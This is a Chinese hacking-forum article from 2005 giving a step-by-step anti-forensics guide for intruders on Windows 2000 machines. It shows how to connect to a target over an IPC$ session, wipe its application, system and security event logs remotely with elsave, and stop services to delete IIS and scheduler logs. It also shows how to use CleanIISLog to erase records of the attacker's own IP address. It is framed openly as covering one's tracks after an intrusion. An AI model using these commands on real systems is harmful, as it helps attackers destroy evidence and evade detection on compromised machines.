欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

小黑必学:简单黑客工具的使用

来源:未知 作者:未知 时间:2005-03-04 TAG: 我要投稿
过一段安全技术的学习,在学习中使用比较多的工具,今天,我把自己一些使用的经验总结一些,把一些比较常用的黑客工具的使用方法写出来,希望给大家一些帮助

1.小榕的elsave清除日志的使用:

  先用ipc$管道进行连接:net use \\ip\ipc$ "password" /user:""

  清除目标系统的应用程序日志:

  elsave -s \\ip -l "application" -C

  清除目标系统的系统日志:

  elsave -s \\ip -l "system"" -C

  清除目标系统的安全日志:

  elsave -s \\ip -l "security" -C

  

  2.windows2000日志的清除:

  www的日志一般都在%winsystem%\system32\logfiles\w3svc1下面,包括www日志和ftp日志,一般先停止www服务后在删除:net stop w3svc,然后将你留下了ip的日志删除,你也可以修改日志.wwww日志在w3svc1下面,ftp日志在msftpsvc下面,每个日志都是以:exXXXXXX.log为命名的,xxxxxx代表日期.

  win2000中的其他一些日志:

  安全日志:%winsystem%\system32\config\Secevent.evt

  应用程序日志:%winsystem%\system32\config\AppEvent.evt

  系统日志:%winsystem%\system32\config\SysEvent.evt

  IIS的FTP日志:%winsystem%\system32\logfiles\msftpsvc1\,默认每天一个日志

  IIS的www日志:%winsystem%\system32\logfiles\w3svc1\ 默认每天一个日志

  Scheduler服务日志:%winsystem%\schedlgu.txt

  注册表所在项目:

  [HKLM]\system\CurrentControlSet\Services\Eventlog

  Schedluler服务注册表所在项目:

  [HKLM]\SOFTWARE\Microsoft\SchedulingAgent

  如果日志被从新定位,路径在注册表里面有记录.
  清除日志

  清除日志必须先停掉相关的服务后才能进行:

  www和ftp日志必须想停w3svc: net stop w3svc

  然后就可在相关日志目录下面把你想要删除的日志删除.

  Scheduler服务日志必须想停止:Task Scheduler服务才能删除日志: net stop "Task Scheduler"

  系统,安全,应用程序等日志相关的服务是:Eventlog,但是该项目是无法直接停止的,我们可以先用ipc$连接过去,然后打开"控制面板"中的计算机管理中连接远程计算机,从里面删除相关的内容,但是如果日记比较多的话,可能需要比较多的时间,而且对网速要求比较高.但是,我们可以利用一个工具:小榕的elsave来删除.方法如上面第一项.

  也可以利用小榕写的一个工具:CleanIISLog来自动清除日志,用法:

  cleaniislog [logfile] [.] [cleanIP] .

  说明: 清除的日志文件,.代表所有 清除的日志中哪个IP地址的记录,.代表所有IP记录

  举例:cleaniislog . 127.0.0.1

  A.可以清除指定的的IP连接记录,保留其他IP记录。

  B.当清除成功后,CleanIISLog会在系统日志中将本身的运行记录清除。

  用法: CleanIISLog  <.>  <.>

  : 指定要处理的日志文件,如果指定为“.”,则处理所有的日志文件注意:处理所有日志文件需要很长的时间)。

  : 指定要清除的IP记录,如果指定为“.”,则清除所有的IP记录(不推荐这样做)。

  CleanIISLog只能在本地运行,而且必须具有Administrators权限。
【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载